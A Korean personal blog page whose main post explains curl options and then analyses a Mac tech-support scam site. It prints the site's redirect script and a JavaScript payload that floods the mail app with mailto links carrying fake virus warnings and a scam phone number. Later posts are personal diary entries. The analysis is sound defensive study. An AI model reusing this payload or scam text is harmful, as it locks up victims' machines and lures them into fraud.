2017년 1월 7일 토요일

curl 정리 - 악성웹사이트(OSX SPAM WEB) 분석

curl 정리

앗.. curl은 wget과 같은 명령어란다.. 난 왜 이걸 몰랐지..? 반성하고 대충 정리 한번 해보자!

curl은 cmd line용으로 data transfer tool이다. download와 upload 모드가 있다. 지원하는 프로토콜은 HTTP/HTTPS/FTP/LDAP/SCP/TELNET/SMTP/POP3 등이 있다. 운영체제는 여러가지 운영체제를 지원하기 때문에 매우 편한 도구다.libcurl이라는 C기반의 라이버르리를 제공하기 때문에 C/C++에서 새발시 매우 쉽게 구현이 가능하다. 또는 PHP, ruby, Perl 등 여러 언어에서 지원한다.

설치는 쉽게 설치가 가능하니 각자 찾아 보자. 보인은 OSX를 사용하기 때문에 brew를 사용해 설치 했다.

# brew install curl

위의 방법을 사용해서 설치가 가능하며 입력은 curl [options...] url 형태로 입력을 받는다. 옵션을 정리하면 다음과 같다.

short long 설명 비고
-k –insecure https 사이트를 SSL cerificate 검증 없이 연결 wget의 –no-check-certificate와 비슷한 역할을 수행
-l –head HTTP header만 보여주고 content는 표시 하지 않음
-D –dump-header file file에 http header를 기록
-L –location 서버에서 HTTP 301이나 HTTP 302응답이 왔을 경우 redirection URL로 따라간다. –max-redirs 뒤에 숫자로 redirection을 몇번 따라갈지 지정할 수 있다. 기본 값을 50이 지정된다
-d –data HTTP Post data FORM을 POST하는 HTTP나 JSON으로 데이터를 주고 받는 REST 기반의 웹 서비스 디버깅시 유용한 옵션
-v -verbose 동작하면서 자세한 옵션 출력
-J –remote 어떤 웹서비스는 파일 다운로드시 Content-Disposition Header를 파싱해야 정확한 파일이름을 알 수 있을 경우가 있다. -J 옵션을 주면 헤더에 있는 파일 이름으로 저장한다. curl 7.20 이상부터 추가됨
-o –output FILE crul은 remote에서 받아온 데이타를 기본적으로 콘솔에 출력한다. -o 옵션을 주고 뒤에 FILE을 적어주면 해당 FILE로 저상한다.
-s –silent 진행 내역이나 메시지 등을 출력하지 않음. -o 옵션으로 remote data도 /dev/null로 보내면 결과물도 출력되지 않는다 HTTP response code만 가져오거나 할 경우 유리

내가 curl을 알게 된건 어제 맥 관련하여 이슈가 하나 있었는데.. 어떻게 이런걸 분석할 수 있을까 알아보면서 였다.. 결국 포스팅 해야지 했던 이슈는 @n0fate에게 뺏겼다.. 자세한 내용은 @n0fate blog에서 확인할 수 있다.

우선 curl을 사용해서 내가 코드를 얻고 싶은 사이트를 확인해 봤다.

curl safari-get.net

위 코드를 통해 다음과 같이 코드를 얻을 수 있었다. 파일 저장을 위해서는 -o옵션을 사용할 수 있겠지?

<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-73784359-12', 'auto');
  ga('send', 'pageview');

</script>
<body>

<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>

<script language=javascript>

if ((navigator.userAgent.match(/OS 10.1.1/i))) {
   location.replace("http://safari-get.com/11.php");
} else
{
location.replace("http://safari-get.com/10.html");}


</script>

위 코드를 설명하면 접속한 사용자의 정보를 구글 애널리틱스(google analytics)에 전송하여 접속한 사용자의 운영체제 정보를 직별하여 리다이렉션 시키는 코드임을 확인할 수 있다. 링크를 접속하게 되면 OS 운영체제가 10.1.1일 경우는 11.php로 리다이렉션되고 그외에는 10.html을 리다이렉션한다.

여기서 구글 애널리틱스는 클라이언트 정보를 수집해 통계 정보를 제공하는 서비스 인 것으로 보인다. 더 깨끗한 포스팅은 n0fate블로그에서 확인

11.php

11.php를 다운 받기 위해서는 아래와 같이 curl을 사용할 수 있다.

curl safari-get.net/11.php

사용해서 받으면 아래와 같이 코드를 획득할 수 있다. 필요없는 부분을 날리고 중요한 부분만 보자. ``` ```

11.php는 아이튠즈를 이용해 메일앱을 띄우려고 시도 한다. n0fate 포스팅을 통해 확인하면 실험해보면 메일 앱은 하나만 실행되게 되고 자체적으로 아이튠즈 앱이 여러개 뜨는 구조를 가지고 있지 않기 때문이라고 한다

10.html


Editing:  
/home/safarmcl/public_html/port-safari.net/ios.html
 Encoding:    Re-open Use Code Editor     Close  Save Changes

...

<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>


<script type="text/javascript">

var extraData = "";
for (itxextraData = 0; itxextraData < 1; itxextraData++) {
     var extraData = "Immediately Call " + "Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus. ";
}


 
jQuery('#result').append('<a href="mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '%00"></a>');



  document.querySelector('a').click(0);

다음 코드를 보면 extraData 변수에 너님 노트북 VPN 바이러스에 감염되서 웹캠에 원격으로 접속 가능함 ㅇㅇ 이라는 내용을 저장하며 jquery를 통해 "mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '%00" 를 시도하는 것을 확인할 수 있다.

extraData에 변수 값을 넣어주면 다음과 같은 내용임을 확인할 수 있다.

"mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus.%00"

위 변수 값을 정리하면 다음과 같이 정리할 수 있다. 우선 mailto:는 mailto 태그를 호줄하는 부분으로 메일을 실행 시키도록 만드는 태그다. foo@example.com은 전송될 메일 주소이며, &body=Apple%20Tech%20Support%20!는 본문내용이 된다. %20은 띄어쓰기로 사용되므로 Apple Tech Support !라는 내용의 본문 내용을 가지게 된다.cc=bar@example.com는 메일 참조로 지정되는 값이며, subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465...은 메일의 제목이 된다. 이렇게 생성된 코드는 아래 코드를 통해 무수히 많은 메일 앱을 실행하게 된다.

해당 mailto는 애플 가이드 라인을 참조하면 확인 가능하다.

다음은 위 mailto를 10만번 실행 시키는 루프문이다.

 for(var i=0;i<100000;i++){
     if(i>0) {
     
     document.querySelector('a').click();
     for(var x=0;x<10000;x++){
     console.log();
     }
    
} else {
    document.querySelector('a').click();
    for(var x=0;x<100000;x++){
     console.log();
    }
 }
 }
 
</script>

</html>

다음과 같이 악성 웹사이트의 스크립트를 curl로 수집하여 분석하느 내용을 다루어 봤다.. curl 공부할려고 적은 내용인데 결국 safari-get.net 스크립트 내용이 더 커진 듯 하다..흠..여튼 ! 다음번에 분석하게 되면 더 분석해 보자!

참조

n0fate

Malwarebyte

2015년 9월 5일 토요일

15.08.30_속초 여름휴가



속초 봉포해변 휴가를 갔다왔다!

모닝하버 펜션?!에서 1박2일 쉬고 왔는데 맨날 배낭매고 여행 다니다가 이렇게 편하게 갔다오니... 다음부턴 배낭여행은 못할거 같다..ㅠㅠ

이번여행은 액션캠으로 영상을 많이 찍어서 백업된 사진이 별로 없넹 ㅠㅠ크.. 모닝하버 펜션 다음에 또가야징!

2013년 6월 26일 수요일

종로3가 vips가다.

 

하하 여자친구랑 종3 vips를 갔다. 가서 사진 많이 찍어서 포스팅 해야지했는데….이런…사진이 없다…
근데, 상당히 마음에 들었다! 두번째로 간 vips였는데 프리미엄?!vips여서 립이 있었다는…고기 좋아하는 나한테는…+_+눈에 빛나게 먹었다..
문제는 폭풍 흡입을 해서 나오는데 속이 불편했다 …~_~

5만원짜리 상품권을 선물 받았었는데, 여자친구랑 cgv를 가서 영화를 보니가 셀러드바 50%할인권도 나오길래 같이 썻다 그래서 약 4만원조금 더 나온듯 하다.^-^
만약 이 포스팅을 최근에 보는 분이라면 cgv에서 영화한편보고 가는것도 나쁘지 않다고 생각한다..물론 기간은 6월이후로는 안하는 행사로 봤다.

 

CAM00445

유일하게…블로그에 올릴 수 있는 사진이다..전부 내얼굴과 여자친구 얼굴이 나와서…ㅠㅠ젠장…
종로3가 vips 추천해주고 싶은 곳이다…
아 역시…아직 블로그에 이런 포스팅 하는건 어려운듯….
네이버에 포스팅 하는 많은 고수님들꺼 보고 배워야겠다..ㅠㅠ

2013년 6월 16일 일요일

앗싸곱창

의정부 앗싸곱창
의정부인이라면 한번 쯤은 갈 곳
강추추추

2013년 4월 23일 화요일

생각



외국을 나가면 정말 배울 수 있는게 많은 걸까요?
내가 지금 공부가 재밌다고 이 공부만 하는게 옳은건가요?
워킹?가고싶어지네 점점 ㅠㅠ
$$$$돈이 문제네요 돈이

2013년 4월 21일 일요일

옵쥐프로




망할..지금 보니까 커플폰사진은 없네..-_ㅠ
여자친구은 갤2 -> g pro
난 아이폰4s -> g pro

뭐 4s 쓸만했지만, 넥7과 아이폰 두개 들고 다니는게 불편하다고 느낀적도 많고 요즘 액정큰게 대세인 만큼 한번 따라가 보았다(사실 안드로이드가 너무 그립기도했다...ios는 제약이 너무 많다...)

사진에 노이즈가 많다는데 이렇게 보면 사실 노이즈란게 보이진 않지만 확대하면 살짝 뭉게짐이 보인다 그 효과 때문에 여자친구가 가까이에서 찍은 내 피부가 완전 좋게 나왔다:)

인터넷을 보니 여자분들은 셀카가 잘나와서 좋다고 했는데 그게 이런걸 말한듯 싶다..^^

사실 사진을 찍을거면 디카로 찍으면 되지 구지 노이즈가 살짝생겨서 크게 불편할건 없을듯 싶다.

의정부 홈플러스 엘레나 가든도 방문 :) 

g pro 3일 사용했는데
우선 배터리는 정말 마음에 든다. 그리고 우리 헬지님들이 얼마나 신경을 많이 썻는지 느껴진다 흐흐흐
넥4로 바꿀려다가 옵쥐pro로 오긴 했지만 넥4로 갔으면 후회를 많이 했을듯 싶은데 g pro는 지금 후회는 전혀 되지 않는다:)

아쉬운건 베젤이 얇아서인지 태두리가 오목하게 떠있어서 그런건지 미세한 터치입력에 과민반응한다랄까?? 이건 작은 핸드폰 쓰다가 큰걸로 넘어온 내 컨트롤 미숙일 지도 모르겟다..

헬지..이젠 헬지는 아니라고 말할 수 있을 정도에 핸드폰이 나온듯 싶다. 확실히 레퍼폰 하나 만들더니 엄청난 발전이다 이건...이미지 급상승^^ 2년동안 쓸생각으로 바깠으니 잘써야지


==========================================================================


2013년 3월 22일 금요일

잡 + 생각 = 잡생각



  • '여러 가지가 뒤섞인' 또는 '자질구레한'의 뜻을 더한 접두사
생각
  • 사람이 머리를 써서 사물을 헤아리고 판단하는 작용.
  • 어떤 사람이나 일 따위에 대한 기억.
  • 어떤 일을 하고 싶어 하거나 관심을 가짐. 또는 그런 일.
등등

잡+생각
  • 쓸데 없이 하는 여러 가지 생각

음...잡생각이 쓸데 없는 생각만을 의미 할 수 있을까??


내생각엔 잡생각이란표현보단 상념 이라는 단어가 더욱 잘 맞는거 같다.